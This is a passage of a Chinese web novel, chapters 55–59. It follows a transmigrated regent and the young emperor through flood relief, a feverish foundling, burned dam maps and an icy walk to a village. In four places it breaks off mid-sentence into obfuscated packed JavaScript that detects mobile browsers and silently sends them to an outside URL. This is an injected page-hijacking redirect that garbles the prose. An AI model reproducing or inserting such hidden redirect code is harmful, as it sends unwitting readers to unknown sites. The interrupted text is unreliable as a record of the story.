沈翊平淡道:“想必各位,今天的情景也看清楚了,我现在不会逐字逐句的去看,有些错可以犯,但懂得适可而止,要不然这后果总是要自己尝尝的。” 众人跪在地上不敢言语,没过多久,便听到沈翊又道:“大坝还未修建,被大水破坏的屋子还正在重建,临近来冬日又天气严寒,这村子里物资困乏,镇上难民剧增,各位怎么看?” 空气安静了一瞬,随后底下声音浩荡齐平道:“草民愿为天喜献微薄之力。” 话音落,沈翊点了点头,刚说完“退下”两个字时,底下的人们的脚底都跟抹了油一般,一眨眼的功夫便消失的无影无踪。 账本即将被燃烬,火焰渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801698|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐小了下去,沈翊刚转过身准备朝院门走去,却发现院门不知何时站了个人。 那人就这么看着他,好像出了神,额前掉落了几缕发丝,肩上,头顶都落下小堆雪,好似不是刚来的。 就这样,两人都没有动,静了两秒钟,直到高颉提着满满当当地一桶水跑过来,又看着庭院血流成河的画面,腿一软,身子一晃,差点坐在地上,手里的木桶一倒,辛辛苦苦提了一路的水就这么撒了出来。 “怎么回事?”高颉猛地抓住旁边还在愣神的宋闻璟,道:“不是走水了吗?怎么还杀人了?” 顿时,宋闻璟回过神,目光避开满庭鲜血,看向高颉,强装镇静道:“没事了。” 高颉却道:“这……” 高颉被吓得半晌没说出口,再次抬眼时,看着眼前的沈翊,一身素衣,与这满地血红显得格格不入,可高颉看着沈翊的身影,却觉得很熟悉,这种杀伐果断又心狠手辣的态度,似与从前的宋闻璟有那么几分相似。 从前,沈翊刚登基,朝堂四分五裂,反对的人不在少数,高颉那会儿还是个小官,上朝也是站在后几排的样子,一般没人会注意到,也没人在意,可就是因为宋闻璟这股凶狠残暴的劲,让众人都闭上了嘴。 朝堂上,宋闻璟不带别的,只带着那把先帝赏的御赐宝剑,若有人滋事违抗,皆以血溅太极殿内,细数起来不知有多少人丧命于此。再后来,无人敢反对,宋闻璟的势力也开始变得越来越大,年幼的小皇帝成了名副其实的傀儡。 半晌,沈翊走了过来,却发现又来了一大波人。 “你们做什么呢?”沈翊不解。 高颉道:“我们刚刚在外面看着里面冒了好大的烟,还以为走了水,特意赶来灭火的。” 闻言,沈翊又回头看了看那一小团火焰,道:“你去灭了吧。” “啊?”高颉愣了愣,随后从后面提了桶满的去浇了水。 宋闻璟在后面低着头,本想跟着高颉一并去的,却没想到被沈翊半路拦了下来,他道:“那一点小火,他自己一个人就够了。” 沈翊本想拉住宋闻璟的手腕,但没想到在触碰的一瞬间,宋闻璟下意识往后辟开了,为了不那么尴尬,沈翊这才收回了手。 宋闻璟站在原地不敢看他,可总觉得有一道让人无法忽视的目光粘在了他身上,宋闻璟不自在的往旁边走了走,他怕自己会成为下一个死在沈翊手里的人。 太可怕了,现在的沈翊要开始展现自己的本性了吗? 可在沈翊如果知道自己在骗他时,又会怎么样? 他有点不敢想。 高颉泼完水,突然惊奇发现道:“大人,这里还有个孩子哎!” 说罢,高颉欣喜地将孩子抱了出来,又道:“怎么会有个孩子在这?陛下,这是哪来的?” 沈翊看了他一眼,淡淡道:“江二捡的。” 56.第 56 章 孩子是被高颉带回来了,众人也在得知这孩子的事情后,都不禁沉默了片刻,随之也没有再说什么。 沈翊从元府回来,身上的伤口又流了血,将围在上面的绷带都成片的染红,郎中重新上了药,又给沈翊换了绷带,说要好好养着,要不然这伤怕是永远都好不了。 片刻,街上开始排起长队施粥,满满的一口口锅,里面的粥又浓又稠,即使插在一根筷子在上面,筷子也不会倒下半分。 开了元兴安的粮库,又加之各个商户从家里献出的几袋粮食,或者拿出来的一床床棉被和棉衣,总算下来才差不多解决吃穿方面的问题。 后面,有人难免不想在皇帝面前留个好彩头,又或者想到时候要点好处,竟也有人包了半个客栈的房间供灾民住宿。 约莫过了两天,还未等沈翊细查,几乎大半的灾民都已经被安顿好了,能撑过这个冬天已经不成问题了。 半夜,高颉独自抱着带回来的孩子在房间里来回踱步,襁褓里的孩子一直哭个不停,自从被抱回来,便一直断断续续发高烧,小孩子难养,又比较娇贵,只要一不留神就生病,更何况在外面冻了半天的孩子。 高颉给他喂了药,便抱着孩子在屋子里来回走,本想把孩子哄睡了,但没想到孩子期初还安安静静,但到了后面就开始哭,高颉便又抱着逛了半圈,见方法不管用,便看着小孩红扑扑的小脸蛋,一副无奈道:“你怎么?能给提个醒吗?” 小孩呜呜哭着,眼泪鼻涕不断往外流,高颉一边给他擦着,一边道:“我知道你难受,你能不能坚强一点忍忍,我们睡一觉就好了。” 小孩还在哭,高颉没办法,他还没结亲,甚至旁边连个姑娘都没有,哄这么小的孩子他也不会,随后便抱着孩子出门去找人。 哭声在走廊上非常响耳,高颉看着一扇扇门,却不知道该找谁好,这客栈里的人,他也不认识,贸然塞给人个孩子,好像也不太合适。 “高颉,你怎么在这儿?” 闻声,高颉转过头去,看着眼前的宋闻璟,突然眸子一亮,好似看了亲人,随后快步走了过去,可怜兮兮道:“这孩子不知道怎么了,喝了药就一直哭,好像烧的更厉害了。” 宋闻璟看着高颉怀里时不时抽噎一声的孩子,一副没精神恹恹的样子,泪珠一颗颗不停地划落在红扑扑的脸颊上,看起来不禁惹人怜。 “要不然请郎中过来看看吧。” 高颉有点犹豫道:“都这么晚了,怕郎中早就睡了,而且,我身上没钱……” “那……”宋闻璟下意识摸了摸自己的口袋,是空的,“那先等一下吧。” “孩子怎么办?”高颉道,“不能烧坏了吧。” “不会的。”宋闻璟想了想,好像前两天沈翊受伤流血,柳溪给他塞了颗药丸便好了,不知道柳溪身上还有没有治发烧的药丸,现在能不能先用一下。 宋闻璟这般想着,便对高颉道:“你先带他回去吧,我去找一下柳大人。” “找他做什么?”高颉刚准备开口,随后又一想,道:“柳大人穿的这么好,肯定很有钱啊!” 宋闻璟走过一扇扇门,停在柳溪门前站着敲了敲门,里面亮着光,过了一会儿,却没有动静,宋闻璟又敲了一下,随后推开门走了进去,房间里没有人,被子被掀开瘫在床上,柳溪倒不知道去了哪里。 “去哪了?” 宋闻璟走出去关上门,恰巧江二从隔壁出来,扭头看着他恭敬地行了个礼,便匆匆离开了。 宋闻璟扭头看着隔壁的门,这正是沈翊的房间,沈翊和柳溪关系好,这些日子也都能看出来,柳溪时不时会待在沈翊屋子里,所以柳溪的行踪,沈翊也该是最清楚的,而且说不定柳溪本人就在这里。 宋闻璟想了想,最终还是走了过去,却不想刚要抬手敲门,屋子里便传来柳溪的叫声,宋闻璟不知为何突然放下心,抬在空中的手最终落了下去,继而敲响了门。 “柳大人是在这儿吗?” 屋内,柳溪瞬间愣住了,看着沈翊有些严峻的面容,柳溪身上一凉,又小心翼翼靠近沈翊,低声道:“他什么时候站在门口的,我刚刚说的不会他听到了吧?” 沈翊淡淡道:“我怎么知道?谁让你这么大声的?” “我震惊啊。”柳溪道,“毕竟你瞒了我这个江二这么久,从前不都说好坦白相待的吗?” 沈翊补充道:“我其实本就也没想告诉你,是你一直问。” “算了。” 见里面没有回复,宋闻璟正打算再敲一次,却不想门突然开了,柳溪一转身背靠在门框上,道:“大人,这么晚来找我做什么?” 宋闻璟道:“想问你还有没有治疗发烧的药丸,前些日子捡回来的孩子今天又发了高烧,现在去请郎中怕是太晚了,而且我身上带的银子都花完了,我想你这边有没有可以给孩子吃的药丸。” “这个啊。”柳溪默了默,随后又道:“我身上倒是有,但要给这么小的孩子吃,这药丸得分开吃。” 说罢,柳溪抬手摸向自己的腰间,从绣着花纹的鱼袋里,找出了一颗药丸递到宋闻璟跟前道:“这颗药丸起码得分三次喂下去,要是烧还没退,明天再请郎中来一趟吧。” 宋闻璟接下药,刚点了下头,却又听柳溪道:“算了,我去看一眼吧,孩子在哪?” “柳大人也会看病?”宋闻璟一愣,看着柳溪往前走,便匆匆跟了上去,“孩子在高颉那里。” 柳溪笑道:“也不算会吧,略微懂一点,以前没事的时候跟着别人学过一点。” 宋闻璟看着柳溪,心里居然开始在悄无声息地改变对柳溪的看法,眼前的人也不是只知道吃喝玩乐的纨绔子弟,说不定还真什么过人之处呢?可从前的沈翊是怎么发现的? 半晌,柳溪给小娃娃看完了病,将药丸兑着水给小娃娃喂了下去,半个时辰后,又喂了一次,小娃娃的烧才开始渐渐退了下去,守在旁边的三人也不由得松了一口气。 高颉也是一脸难以置信看着柳溪,真没想到柳溪还藏着一手,便道:“柳大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803912|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟如此厉害。” 柳溪莫名骄傲道:“哈哈,没有,我也是只会这一点。” “这剩下的药你也留着吧,万一以后生病还能用的着。” 高颉点点头,将那一小点点药仔细收了起来。 片刻后,众人散去。柳溪又去找了沈翊,说道:“他好像没听见。” 沈翊道:“你问了?” “没有。”柳溪道,“我看他那个样子,好像也不像知道的样子。” “要是想让你知道,那还要装吗?”沈翊问道,“他找你做什么?” 柳溪道:“前些日子带回来的小娃娃又发了高烧,我给去看病了。” “他来找你就这事吗?”沈翊怔了怔,“他这些天在做什么?” 柳溪道:“这些天好像也没有做别的,要不然就帮着安排灾民,要不然就坐着发呆,也没有做什么特别的事。” “最好是。”沈翊道,“这些天最是要将人看好,等他回了京城怕是想跑也跑不了。” 柳溪有点不信道:“那人真是这么说的,真愿意把培养半辈子的势力给你?居然没跟你谈什么条件?” “这样不好吗?”沈翊道,“他现在没办法,我倒愿意信一信。” 柳溪不解道:“这天下难不成真有漏洞?” 第二日,小娃娃的病好了,外面的更冷了,高颉为了怕他又病了,把屋子里烧的暖暖的,连房间的门口都不让出。 眼看着要过年了,修坝的日程也总要提起来,宋闻璟跟高颉道:“以前画好的图纸都在村子里,我们该拿回来的。” 高颉倒也认同,随之便想找人来看着这小娃娃,给柳溪吧,这人总是在客栈里待不住,给沈翊吧,可这自己还是个病人,而且,这小娃娃好像还挺怕他的,想了想,宋闻璟道:“要不然,我一个人去吧,村子离这里也不远。” 高颉顿了顿,随后点下了头,“好吧,那大人辛苦自己跑一趟了。” 随后,在一大一小的注视和叫声中,宋闻璟走出了门。 “皇叔要去哪?” 宋闻璟刚一只脚踏出客栈门槛,沈翊的声音便从身后传来。 闻声,宋闻璟收回了迈出了的那一步,转身道:“以前的画的地势图还落在村子里,我想现在把它们拿回来。” “那些地势图?”沈翊道。 宋闻璟点头,“等过完冬天,这大坝工程总要提起来,我想趁着这段日子把稿子先修整出来。” 沈翊笑了笑,道:“皇叔有心,我当然也支持,要不然我就陪皇叔走一趟吧。” “嗯?”宋闻璟摆了摆手,“陛下的伤还没好,这外面又这么冷,而且村子离这里不远,我自己去就可以了。” “那怎么行?”沈翊突然道,“这外面这么危险,我怎么放心让你一个人去?” “危险?”宋闻璟愣了一下,“外面不都是我们的人吗?” 沈翊道:“难不成皇叔忘了山上的山匪吗?他们离村子这么近,皇叔不怕被他们再抓走吗?” 57.第 57 章 宋闻璟一想,有些犹豫,但沈翊身上总归还有伤,连累人家一次,总不能再害人家一次,便想拒绝,但没想到沈翊好像看穿了什么,一步步走过来,突然凑近宋闻璟道:“皇叔,觉得我身上有伤打不过他们?” “嗯?”宋闻璟一怔,“我……我不是这个意思。” “那是什么?”沈翊道,“皇叔难不成是在担心我?” 说完这一句,沈翊便觉得有些后悔,担心什么?宋闻璟不应该盼着自己最好死在路上,好一个人逃走,逃回去再继续独掌大权,培养下一个傀儡。 宋闻璟沉默不语,指尖攥了攥衣袖,便道:“因为我不想连累陛下,陛下已经为了救我受了伤,我不该再带陛下去冒险。” 话音刚落,沈翊愣了愣,耳朵像是听到了一个很神奇又震惊故事,让自己半晌没回过神来,“为什么这么说?那你呢?我这么救你,现在我能看你再去送死?” “嗯?” 宋闻璟看着眼前的沈翊,心里莫名有些复杂,他竟一时不明白沈翊说的这是什么?他劝我在惜命吗?可明明最想要我命的人不就是他吗? “皇叔,别担心了,我自己的伤我自己最清楚。”说罢,沈翊拉着宋闻璟的手腕便急匆匆走了出去,“现在去拿,还能赶在中午之前回来吃饭。” “啊?” 宋闻璟皱了皱眉,但也不好说什么,便跟着沈翊身后走着。 前两天下的雪还在路边堆着,地上被冻的很硬,路面被压实过后的雪变得很滑,两人走的小心又谨慎,原本一步的路程都被分成两三步走。 不知道过了多久,沈翊似乎想起了什么,又或者是没了耐心,突然停住了步子,宋闻璟专注上脚下,丝毫没有注意。蓦地,手腕被人抓住,他抬头对上沈翊那双笑意盈盈的眼睛。 “怎么了?” 沈翊看着他道:“这太慢了,走过去都快中午了。” 宋闻璟张了张口,刚要说一句:“要不然你先回去吧,我自己就行。” 毕竟,他又不是个小孩,而且算起来,他比沈翊还大,按理来说,他不应该照看沈翊才对,现在沈翊要护着他,哪里都总觉得怪怪的。 却不料话还没说出口,手腕上的那股力便猛然拽着自己往前走,宋闻璟一时没有防备,往前跟着跑了几步,脚上一滑,差点跌坐在地上。 沈翊一瞧,赶忙伸出手将人扶正了,又打趣道:“皇叔,你以前没溜过冰吗?” “溜冰?”宋闻璟抬眸看着沈翊的眼神蓦地一顿,随后又有点生气地挣脱开沈翊的手,顺势往旁边移了移,开口道:“我不会溜冰。” 说罢,宋闻璟居然会有点不好意思,溜冰这种看似的小事,几乎下雪地方的孩子,在冬天经常会把这个溜冰当做趣味娱乐,一个人或者几人聚在一起变着花样玩乐。 但也有学不会的,胆小的,怕疼的,因为滑不好很可能磕伤自己,而过程中又极具需要平衡性和技巧,才不会在停下时发生事故。 可宋闻璟其实也不是没滑过,甚至还在小时候偷偷练过几次,但因为总是找不到技巧磕不知道多少次,即使回到家身上挂了彩,也不好意思说是自己作出来的,总是在路上找好理由搪塞大人几句,便立马跑了。 后来,宋闻璟也不执着了,因为磕怕了,也疼怕了,跌一个屁股蹲还好,但跌七八个的,也早就受够了。 “这有什么?”沈翊道,“滑两次就会了。” “我才不滑。”宋闻璟不在意,随后又往前走了几步,“陛下要嫌远,现在回去还能赶上午饭,我自己也可以去。” 沈翊看着宋闻璟慢慢移着步子,却不由得觉得好笑,好像一只蜗牛在爬,动作又慢走也走不远。 “怎么了?皇叔怎么生气了?”沈翊又往前滑了一段距离,随后稳稳停在宋闻璟跟前,道:“刚才不是还好好的吗?怎么这会又不愿意了?” 宋闻璟抬头看了他一眼,随后又绕过沈翊继续往前走,道:“没有不愿意,只是……” “没有就好了。”沈翊顺势拉起宋闻璟的胳膊,往前走道:“正好前面有个小下坡,滑的时候还能更轻松一点。” “什么?”宋闻璟闻言立马往后挣了挣,急忙道:“不行,要不然我们换个路走吧。” 沈翊道:“为什么不行,这条路近一点,还不用绕远。” 宋闻璟急忙道:“那……我走另一条路,一会儿我们在村子里汇合,这样好吧。” 说罢,宋闻璟头也不回地就要往回走,却不想又被人拽了回来。沈翊好像也看明白什么,便紧盯着宋闻璟试探道:“皇叔不敢?” 宋闻璟顿了顿,却不敢看沈翊的眼睛。 “这有什么怕的。”沈翊突然笑了笑,随后好像是知道了一件什么不得了事,硬是拉着宋闻璟不松手,“我看着你,肯定磕不到的。” “来试试。” 半拽半拉,才终于把人带了过来,宋闻璟心里不愿意,眼睛却一直盯着那段小下坡,原本路面不算很平顺,但被雪压过后便看着倒是平稳很多,上面的小石子也都几乎不见了踪迹。 沈翊道:“其实也不是很滑,就玩一下没事的,而且还快,轻松不少。” 宋闻璟不说话,似乎身上已经开始隐隐作痛。 片刻后,沈翊又道:“那你先看我滑一遍,然后你再下来。” 宋闻璟看着他,随后低着头沉默了一会儿,又点了点头,想着等沈翊下去,自己就往回走,去走别的路。 但没想到,沈翊迈出第一步的同时,一只手也拉住了他,两个人几乎一同走了下去,宋闻璟只好努力跟上沈翊的步子,往下走了几步,便滑了起来。 渐渐地,沈翊松了力,手到却还是放在原来的位置。 他看着宋闻璟的侧脸,轮廓清晰,挺鼻薄唇,眉眼间总是透着一股淡漠疏离,可一笑,却又是犹如轻风拂过林间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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或许是在第一次掐住他的脖子时候,又或者是在昨晚他发高烧的时候,他透过门缝看见三个人围着这一个小娃娃体贴入微的照顾,那是他第一次看见宋闻璟这么心甘情愿对一个人这么好,甚至这个人没有用任何手段和方法,更甚至没有任何感情。 他跟宋闻璟生活了将近七年,虽不是如同与林渊那般血浓于水的亲情,但七年的时间里,宋闻璟算是占走了他大部分生活,但在这七年里,他没有感受过宋闻璟对他的好,甚至有时候,宋闻璟只是对他笑了一下,沈翊都觉得是宋闻璟不讨厌他了,因为这一笑,沈翊都能高兴上一天。 可是后来,沈翊倒也看透了,也彻底绝望,他不再奢求宋闻璟会对他好,但有时候觉得自己真是奇怪,明明已经对失了兴趣的东西,可再次见到,还是会很想得到。 他也不想用交易或者手段取得,但好像除此之外没有任何办法。 片刻,宋闻璟就这般静静地看着他,脸上没有任何表情,淡淡道:“那你还会放过他吗?” 沈翊却道:“皇叔想让我怎么做?” 宋闻璟默了默,低了点头,“我不知道。” 毕竟,沈翊才是真正控场的人,好似所有人的生死全在他的一念之间。 58.第 58 章 沈翊看着他,静静道:“你知道的。” 你心里早就已经有了一个答案,要不然昨晚也不会插手进来。 区区一个弱势,对你构不成威胁,也带来不了任何帮助,你明明可以袖手旁观,当做从来没发生过一样。 宋闻璟偏过头,沉默良久,默默道:“贪财图利是不对,但稚子无辜,更何况还是个刚刚降世的孩子,本不该如此就这么草率的结束,可……” 可陛下想,那能只怪他生的时候不对,命不好。 后半句还未说出口,沈翊突然开了口,脸上勉强笑了一下,道:“既然皇叔都不想要他命,好像我要了也没什么用,留下他倒还能体现我的怜悯,不至于被人在背后说道。” “什么?”宋闻璟愣了下,随后又有点欣喜地顺着沈翊的话,缓缓道:“陛下说的是。” 沈翊没再说什么,明明身上的伤口缓过那阵疼,却在此刻痛彻心扉。 过了两秒,沈翊拍了拍宋闻璟放在自己身上的手,淡淡道:“扶我起来,衣服要湿了。” 闻言,宋闻璟点了下头,随后手上用了力气,堪堪把沈翊从地上扶起来,看着沈翊下意识捂伤口的动作,宋闻璟道:“伤口又痛了吗?” 沈翊闻言顿了一下,将抬在半空的手,最终落在衣袖,道:“没有,衣袖沾了雪,我拍下去。” 宋闻璟半信半疑地点了下头,但看着沈翊有些别扭的步子,宋闻璟还是凑了上去轻轻扶着他道:“疼就不要硬撑,告诉我就是,我扶着你走。” 沈翊笑了笑,却道:“小伤而已,就快好了。” 宋闻璟道:“这怎么能算小伤,差点就没命了,而且你还是为了救我才被伤的,按理来说,我也该照顾好你。” “是吗?”沈翊笑了笑,心里不知道为什么变得又酸又甜,“那可真是求之不得。” 走了半晌,到村子时,已经临近中午了,村子里也升起了阵阵炊烟。见两人前来,几乎全村的村民都放下的活,急忙凑了过来。 为首的村民也赶忙跟两人赔罪,嘴里说着一些自责的说,只希望沈翊别怪罪他们,怕到后面在跟他们算一笔,以至于这几天村子里的人也都心里惶恐不安,本想前去请罪的,但听说沈翊受了伤,要静养一段日子,便暂时打消了这想法,但没想到,沈翊居然亲自来了。 沈翊听着这些话,心里倒没有太大的反应,只是说了几句打发了这些村民,让村民打消了一些惧怕的心理,便让紧聚在一起的村民们散了。 两人凭着记忆找到了那件房子,房子也重新住上了人,宋闻璟翻了几处地方,全然没看到那几张稿子的踪影,便问道屋里人道:“你们有没有看见几张纸,纸上画了图案,是这儿的地形图,我们要用的。” 屋子里住了一家人,两个大约七八岁孩子,一对夫妻,两个孩子窝在被子里,互看了一眼,纷纷摇了摇头。片刻,那对夫妻正巧推门走进来,看见两人也纷纷迎上去,宋闻璟又把刚刚说的又重复了一遍,只见两人皱了皱眉,随后眼神一顿,那男人道:“是不是放在桌子边的那几张纸,上面画了些条条框框的?” 宋闻璟听着点了点头,“就是那几张纸,在哪里?” “这……” 那女人脸色有些难看,嘴里磕磕巴巴道:“这……我们刚起住进来的时候确实看见过,但……我们也……不……太懂,想着你们都走了,就把那几张纸点火烧了。” “什么?”宋闻璟一愣,感觉脑子都空了一下。 那男人小心试探道:“大人,这东西可是重要?” 宋闻璟道:“那是地势图,要修大坝用的,没了图稿,这看不出方位,大坝选址也好下手,等到了明年,若是再发大水或许便如现在这般,又或许情况更坏一点。” “那……”女人急忙道,“那……怎么办?这大坝还能修吗?” 宋闻璟点了点头,“可以,但可能要重新去画图,不知道那时候还不还得及,如果工程快一点的话,还是会干上的。” 现在的经济状况不必现代,这里没有先进高科技,几乎都是一贯的人力,他也把握不住时间长久。 看着夫妻俩慌的不行,怕陛下再责怪下来,两腿一软,便直接跪在了地上,声泪俱下道:“大人,我们也不是故意的,我们确实也不知道这东西这么重要。” 宋闻璟被吓了一跳,这东西是重要,但又不是没办法再画一张。想罢,便弯下腰,一边想把人拉起来,一边道:“没事的,还有别的办法,你们先起来吧。” 听到这,两人才堪堪起身,抬手抹了把眼泪,道:“大人,可是真的?” 宋闻璟道:“自然,能被画出第一次,就能画出第二次。” 话音刚落,夫妻两人相视一笑,劫后余生的庆幸道:“那大人可需要有什么帮助的?叫我们一声便是。” 宋闻璟点点头,不再多说什么,空着手走出去,宋闻璟抬头望了望白茫茫一片的雪山与树林,不禁叹了口气,看来又要重新费一番功夫了。 沈翊站在门外,贴身靠在墙边,手扶上伤口,轻轻按了一下,瞬间,疼痛如同电流般在身上流窜,直逼脑袋被麻痹了一下,沈翊不禁吸了口冷气,却一直忍着不出声。或许伤口又开裂了。 见宋闻璟走出来,沈翊重新直起身,问道:“拿到了吗?” “没有了。”宋闻璟道,“应该好好收起来的。” 沈翊问:“没有了?” 宋闻璟点点头,“已经被火烧没了,可能要重新画一张了。” “嗯。”沈翊点头。 宋闻璟走过来扶着他,道:“先回去吧,看看高大人有没有会记得一点。” 回到客栈,已经傍晚了,后半路宋闻璟几乎是托着沈翊走的,沈翊半个身体的重量靠在沈翊身上,两人一进门,柳溪便匆匆迎了上来,触碰到沈翊身上时,指尖传来的冰凉触感,不禁让柳溪开口问道:“你们去哪?怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815041|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么晚才回来。” 宋闻璟道:“去了一趟村子拿东西。” “这么远?怎么不叫人去拿?”柳溪愤愤道,“伤还没好还要乱跑。” “我看着他们都那么忙,而且现在也需要人手,我就想着自己去拿的,但陛下非要跟着。”宋闻璟默了默,又道:“我告诉他不要跟着的。” 柳溪不说话了,伸手接过沈翊后,便急忙将沈翊拖回了沈翊的房间。 宋闻璟在后面跟着,刚要问一句:“要不要请郎中来?” 谁料话还没说出来,就被柳溪打断道:“大人也赶快回去休息吧,这儿我守着就行了。” 说罢,便把门关上了。 宋闻璟只好先回了自己的房间,脱下外面的披风,等身上暖和了,又去找了高颉。 此时,小娃娃刚吃饱饭,精神的很,手舞足蹈的,自己乖乖地躺在床上,和高颉玩着。 等宋闻璟说完了这件事,高颉突然有点崩溃,那几张图可是费了好大的功夫,爬了好几座山,又走了许多地方,费了多少时日才尽力完善出来的,但现在一把火烧的一干二净,连个灰都没有,高颉已经不愿意再重新走一遍了,那可太苦了。 宋闻璟问:“那你现在还记不记得一点?” 高颉一度恍惚,盯着一张空白的纸,半天画不出一笔。 “太久了,而且有点乱,我记不太清了。” 宋闻璟点了点头,“那我们什么时候重新再走一遍吗?” “啊?”高颉顿了顿,似无奈道:“可是现在山上不怎么安全,还有山匪呢。” 宋闻璟想了想,又道:“可是修大坝不是共利的事情吗?他们也该明白,那要不然去和谈?这大坝也不能不修。” 高颉道:“大人,我怎么觉得他们听不进去,要不然他们也不会抓我们了。” “而且你忘了你被他们抓走的时候吗?太危险了,不行。” 宋闻璟听着感觉好像也是,但这行不通,那行不通,还要怎么办? 半夜,宋闻璟躺在床上,放空地盯着床顶,突然想起来自己的实验地来,自己走了这么久,不知道自己还没长大的菜怎么样了?可都过了这么多年了,实验地可能早就移主了,可惜,他还没看见它们长的样子。 不过一会儿,宋闻璟倒觉得自己有点饿了,忙了一天,就喝了几口水,胃里便开始反抗了。 宋闻璟走出门,刚想去搜罗一下还有没有吃的,恰巧路过沈翊房间时,便看见屋里还亮着光,这么晚怎么还不睡?而且还不顾忌自己身上的伤,不好好休息。 想罢,宋闻璟敲了敲门,说道:“陛下怎么还不睡?” 空气里安静了几秒,宋闻璟以为沈翊睡着了没灭蜡烛,转过身刚想走,便看着门被打开,沈翊的身影出现眼前。 沈翊直盯盯地看着他,宋闻璟觉得有些别扭,刚想开口说点什么,便听到沈翊反过来质问他道:“皇叔不是也没睡?” 59.第 59 章 宋闻璟一时没想到沈翊会这么问,站在原地愣了两秒,慢慢道:“我饿了,所以出来找点东西吃。” “哦。”沈翊应了一声,却明显有点心不在焉道:“那我也是。” “什么?”宋闻璟顿了下,刚想问一句要不要一起去或者给你带一点过来,便听到沈翊突然问:“还有什么事吗?没有的话我要睡觉了。” 宋闻璟闻言下意识摇了摇头,再抬眼便看见刚刚还开着门瞬间关了上来,不经意间带起的风,吹在脸上,宋闻璟能明显感受到一阵凉意。 可刚刚不还是要出门找吃的,现在怎么就要睡觉了? 宋闻璟抬手揉了揉眼睛,感觉刚刚就是一场幻觉,自己只是短暂停留了一段时间而已。随后,沈翊房间里果不然熄了蜡烛,整个瞬间房间暗了下来,宋闻璟倒也不再想了,随后自己寻着后厨去了。 后厨黑朦朦的,仅靠着从窗户外透过的几缕月光照亮着,宋闻璟靠着这一点光亮,摸到了灶台旁的火折子,点起了几盏蜡烛,房间恢复了光亮,剩饭已经没有了,宋闻璟看着桌子上放着一碟残留着的几块糕点,应该是制作时出现的残次品,觉得还好不想扔,但又拿不出台面被遗忘在这里了。 宋闻璟倒也不挑,拾起一块较为完整的糕点便往嘴里咬了一口,糕点显然没有刚出炉时候的时候好吃了,又凉又甜的有些腻,但起码能吃,宋闻璟便端着一小碟糕点坐在门槛上慢悠悠吃起来。 糕点嚼在嘴里有点发干,宋闻璟心里却蓦地一酸,望着外面空旷暗淡的小院,心底的孤独不断溢出来,这一瞬间,他突然好想回去,想回家,想吃热乎乎的饭菜,窝在最温暖的小屋子,看着一部正在热播的电影。 可他正身处的这里什么都没有,连晚上吃个最简单的泡面都没有。不仅如此,这里也没有他的知心朋友,倒有一堆恨不得将他碎尸万段的人,他本就不属于这个时代,即使他说出来也没人信,或许都会认为是自己疯了,毕竟,谁会相信一个说自己是从异世界穿过来的。 咽下一口糕点,宋闻璟觉得有点噎,但还是往嘴里塞了一口,似乎觉得自己吃饱了就不会胡思乱想了,可事实是脑子里还是会不自觉的去思考,自己留在这里这么久,不知道原来的世界怎么样了,还会有人记得他吗? 这般想着,宋闻璟鼻尖一酸,眼眶热的厉害,可要是都忘了他,他万一某天回去了,不还是孤身一人,现在他们的身边或许都有了新的人,当时候他倒显得有些多余了。 宋闻璟不敢想了,匆匆咽下嘴里的一口糕点,抬手用衣袖胡乱抹掉盛满在眼眶的清泪。片刻之间,宋闻璟便感觉有什么东西蹭上了自己的大腿,垂眸一瞧,一只通体白毛,毛发干净旺盛,粉鼻子,但唯独耳朵是发黄的大白狗。 它吐着舌头,咧着嘴巴,似是在笑,但却很安静,稠密的毛发落在宋闻璟身上,它讨好的蹭了蹭,随后便乖巧地坐在一旁,身后还摇着尾巴,毛发也跟着动来动去,像一把扇子一样。 宋闻璟不知道它要干什么,但看着他身上一身诱人的毛发,便知道这大概是某个不知名人士养的爱犬,但现在丢到他这里来了,宋闻璟一边想着,一边忍不住地想上手感受一下,但手刚要碰到之际,大白狗突然闪了一下,又冲着他叫了一声。 “怎么了?”宋闻璟不禁问道,“为什么不让碰?” “汪,汪。” 话音刚落,大白狗又冲着他叫了两声,随后便站起身,往他身上嗅了嗅,随后停留在那蝶糕点上,抬起爪子放上去,然后扭头朝宋闻璟看了看,又叫了一声。 这次,宋闻璟明白了,却拨开了大白狗放在自己身上的爪子我,站起身来,缓缓道:“这东西小狗是不能吃的。” “汪汪汪。”大狗愤愤叫了几声表达着自己的不满意,随后前爪扑在宋闻璟身上,站起身扒拉了宋闻璟几下。 